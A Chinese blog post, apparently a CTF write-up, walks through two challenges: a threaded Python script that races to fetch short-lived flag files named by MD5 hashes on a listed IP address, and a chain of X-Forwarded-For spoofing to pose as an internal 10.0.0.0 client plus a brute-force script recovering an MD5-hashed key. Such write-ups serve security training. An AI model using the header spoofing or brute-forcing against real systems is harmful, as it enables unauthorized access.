ctf2

ctf那些坑–02

1、天下武功唯快不破
  1. 目标网站:http://xxxx.com
  2. 提示信息:天下武功唯快不破
  3. 访问网页信息得到一段源码
    这里写图片描述
    这段代码的意思就是我们访问网页会生成一个txt文件,这个文件里就有我们要的flag信息;这个文件的命名方式是由1到999随机生成的数字经过MD5加密之后拼接的;而且只存在10秒,所以我们需要一个python脚本来帮我们请求访问,并获得响应包中的flag信息
#coding:utf-8
import time,hashlib,thread,requests
def ww(url):
    a=requests.get(url)
    #print url
    if a.status_code==200:
        a.encoding="utf-8"
        print a.text
        return
for i in range(1,1001):
    a=hashlib.md5(str(i)).hexdigest()
    url="http://106.75.26.211:3333/u/"+a+".txt";
    thread.start_new_thread(ww,(url,))
    time.sleep(0.1)

因为文件只存在10秒所以需要多试几次;最后结果
这里写图片描述

2、fuzzing
  1. 目标网站:http://xxxx.com
  2. 提示信息:fuzzing
  3. 访问网站,页面显示

    there is nothing

  4. 抓包查看信息
    这里写图片描述
    可以发现响应包中提示这是个大内网(10.0.0.0);所以我们开始构造x-forwarded-for
    这里写图片描述
    可以看到有一个php文件,去访问下
    这里写图片描述
    需要我们展示key,所以我们需要传入一个key值
    这里写图片描述
    最后我们得到一个真正的key,但是key是MD5加密的值,还知道明文是ichunqiu+[a-z0-9]{5};所以我们又需要写个脚本去计算出明文key

import hashlib
def md5(data):
    m = hashlib.md5()
    m.update(data)
    a = m.hexdigest()
    return a

a = 'ichunqiu'
b = 'abcdefghijklmnopqrstuvwxyz1234567890'
for i in b:
    for j in b:
        for k in b:
            for l in b:
                for m in b:
                    if md5(a+i+j+k+l+m)=='5a2a7d385fdaad3fabbe7b11c28bd48e':
    print a+i+j+k+l+m

结果
这里写图片描述
然后将真正的key传进去
这里写图片描述
看到一个PHP文件,访问下
这里写图片描述
得到一个flag信息和一个txt文件;访问下txt文件
这里写图片描述
得到了一个php源码,可以看到定义的第一个函数,让我们传入string,与key,用它来给string解码;string是刚刚看到的flag信息,key我们也知道;然后输出函数的结果就能得到解码后的flag信息

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值